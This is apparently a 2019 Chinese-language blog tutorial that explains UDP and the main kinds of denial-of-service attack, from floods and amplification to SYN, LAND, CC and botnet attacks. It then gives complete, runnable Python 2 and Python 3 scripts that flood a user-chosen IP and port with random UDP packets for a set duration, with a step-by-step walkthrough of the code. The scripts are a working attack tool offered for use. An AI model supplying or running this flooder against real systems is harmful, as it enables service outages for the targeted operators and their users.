用 Python 編譯簡單 UDP DoS 工具

2019-10-28

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UDP? DoS Attack?

What is UDP?

UDP，User Datagram Protocal，主要位在OSI傳輸層
在TCP/IP模型中在網路層上、應用層下提供簡單的介面，只提供資料的不可靠傳遞
因缺乏可靠性，且屬於無連接協定 => 應用程式必須容許一些遺失、錯誤、重複的封包
有些應用程式不大需要可靠性機制，甚至可能因為引入可靠性而降低效能，故而使用此類協定
- e.g. 串流媒體、即時多人遊戲、IP語音
因為UDP傳送端無法檢測壅塞，所以像使用queue、丟棄技術路由器之類的網路基礎裝置會用於降低UDP過大流量
- DCCP(資料壅塞控制協定) => 通過在諸如串流媒體類型的高速UDP流中增加主機壅塞控制，來減小此潛在問題
主要應用：
- DNS (Domain Name Server)
- DHCP (Dynamic Host Configuration Protocol)
- SNMP (Simple Network Management Protocol)
- RIP (Router Information Protocol)
  What is DoS Attack?
  
  Reference: Denial-of-service attack
DoS Attack，Denial-of-Service Attack，中譯為阻斷服務攻擊，或稱洪水攻擊
- 目的：使目標電腦的網路 / 系統資源耗盡，使服務暫時中斷或停止，導致正常用戶無法存取
- 當駭客使用兩個以上被攻陷並控制的電腦作為「殭屍(Bot)」向特定目標發動DoS攻擊，此類稱為「DDoS Attack(distibuted denial-of-service attack，分散式阻斷服務攻擊)
DoS Attack症狀包括：
- 網路異常緩慢
- 特定網站無法存取
- 無法存取任何網站
- 垃圾郵件數量遽增
- 無線或有線網路連線異常斷線
- 長時間嘗試存取網站或任何網際網路服務被拒絕
- 伺服器易斷線、卡頓
DoS Attack可能會導致區網內其他電腦一併被攻擊，其頻寬會因攻擊而大量消耗，進而引響其他電腦
攻擊方式
頻寬消耗型
- 可分為兩個不同的層次：洪泛攻擊、放大攻擊
  - 洪泛攻擊
    - 特點：利用殭屍程式傳送大量流量至受損的受礙者系統
    - 目的：堵塞其頻寬
  - 放大攻擊
    - 類似上面攻擊，通過惡意放大流量限制受害者系統的頻寬
    - 特點：
      - 利用殭屍程式通過偽造的源IP(攻擊目標IP)向某些存在漏洞的伺服器傳送請求，伺服器在處理請求後向源IP傳送應答
      - 這些服務的特殊性導致response比request更長，使用頻寬就能使Server傳送大量response到目標主機
- UDP floods (User Datagram Protocol floods)
  - 封包通過UDP傳送時不需要進行握手驗證
  - 大量UDP封包傳送給受害系統，可能會導致頻寬飽和
  - UDP封包的目的埠可能是隨機或指定的埠號
  - 有時會影響受害系統周遭的網路連接，但取決於網路體系結構和網速
- ICMP floods
  - 通過向未良好設定的路由器傳送廣播資訊，占用系統資源的做法
- ping of death
  - 產生超過IP協定能容忍的封包數，若系統沒有檢查機制就會當機
資源消耗型
- SYN floods
  - 全名為「傳送控制協定同步攻擊(TCP SYN attack)」，TCP包括在傳送者、接收者間在封包傳送前建立的完全訊號交換
  - 啟動系統傳送一個SYN請求，通常會回傳帶有自己SYN請求的ACK(確認)
  - 但若接收系統傳送SYN封包卻沒接收到ACK，則一段時間後會再傳送新的SYN封包，接收系統中的處理器、記憶體資源將儲存該TCP SYN請求直到超時
- LAND attack
  - 類似SYN floods，但源IP跟目標IP都是攻擊物件的IP
  - 導致被攻擊的機器無窮迴圈
- CC attack (Distributed HTTP flood)
  - DDoS Attack的一種，使用代理伺服器向目標伺服器傳送大量貌似合法的請求(HTTP GET)
  - CC(Challenge Collapsar)跟局其工具命名
    - 利用眾多廣泛可用的免費代理伺服器發動DDoS Attack
    - 大多免費代理伺服器支援匿名，難以追蹤
- Botnet attack
  - Botnet => 大量被C&C(Command and Control) Server所控制的網際網路主機群
  - Botnet只有在執行特定指令時才會與伺服器進行通訊，根據網路通訊協定不同分為IRC、HTTP、P2P類等
- Application level floods
  - 針對應用軟體層 (高於OSI)
  - 同樣以大量消耗系統資源為目的，通過向類似IIS的網路服務程式提出無節制的資源申請來迫害正常的網路服務

Code

Python2

import os
import sys
import time
import socket
import random

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)

print("This is a simple tool for UDP DoS.")

ip = raw_input("Target ip or url: ")
port = input("Port: ")
dur = input("Time: ")

timeout = time.time() + dur
sent = 0

while True:
    try:
        if time.time() > timeout:
            break
        else:
            pass
        sock.sendto(bytes, (ip, port))
        sent += 1
        print("Sent %s packets to %s" % (sent, ip))
    except KeyboardInterrupt:
        sys.exit()

Python3

import os
import sys
import time
import socket
import random

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)
print("This is a simple tool for udp dos.")

ip = input("Target ip or url: ")
port = int(input("Port: "))
dur = int(input("Time: "))

timeout = time.time() + dur
sent = 0

while True:
    try:
        if time.time() > timeout:
            break
        else:
            pass
        sock.sendto(bytes, (ip, port))
        sent += 1
        print("Sent %s packets to %s" % (sent, ip))
    except KeyboardInterrupt:
        sys.exit()

Code Details

以下以Python3版本做解釋

程式流程大概如下：

st=>start: Start
e=>end: End
sock=>operation: set socket
input=>operation: input
time_set=>operation: set timeout
time_cond=>condition: timeout or not?
dos=>operation: send packet

st->sock->input->time_set->time_cond
time_cond(yes)->e
time_cond(no)->dos->time_cond

首先將所需的套件都先引入

# simple_udp_dos.py
import os
import sys
import time
import socket
import random

接著設定socket，並且設定封包大小
1
2
3
4
5
6
7
# simple_udp_dos.py

# ...

sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)
print("This is a simple tool for UDP DoS.")
- socket的幾個引數
  - IP位址引數
    
    引數描述
    
    socket.AF_INET IPv4 (default)
    
    socket.AF_INET6 IPv6
  - 型別引數
    
    引數描述
    
    socket.SOCK_STREAM TCP (default)
    
    socket.SOCK_DGRAM UDP
- random._urandom()，相當於os.urandom()
  - 用來隨機存取OS中的資料作為欲傳送的資料
  - 根據網速可以設定bytes在1024的倍數上

引數	描述
socket.AF_INET	IPv4 (default)
socket.AF_INET6	IPv6

引數	描述
socket.SOCK_STREAM	TCP (default)
socket.SOCK_DGRAM	UDP

輸入目標IP以及預計實施攻擊的時長

# simple_udp_dos.py

# ...

ip = input("Target ip or url: ")
port = int(input("Port: "))
dur = int(input("Time: "))

接著繼續將timeout的時間做計算
1
2
3
4
5
6
# simple_udp_dos.py

# ...

timeout = time.time() + dur
sent = 0
sent => 計算已送出的封包數量

實際進行DoS

確認沒有超過攻擊時長，然後送封包到目標IP

# simple_udp_dos.py

# ...

while True:
    try:
        if time.time() > timeout:
            break
        else:
            pass
        sock.sendto(bytes, (ip, port))
        sent += 1
        print("Sent %s packets to %s" % (sent, ip))
    except KeyboardInterrupt:
        sys.exit()

sock.sendto(bytes, address) => 將轉為bytes的資料傳送至目標IP

Reference: 用python編譯簡單的dos工具

UDP? DoS Attack?

What is UDP?

What is DoS Attack?

攻擊方式

Code

Code Details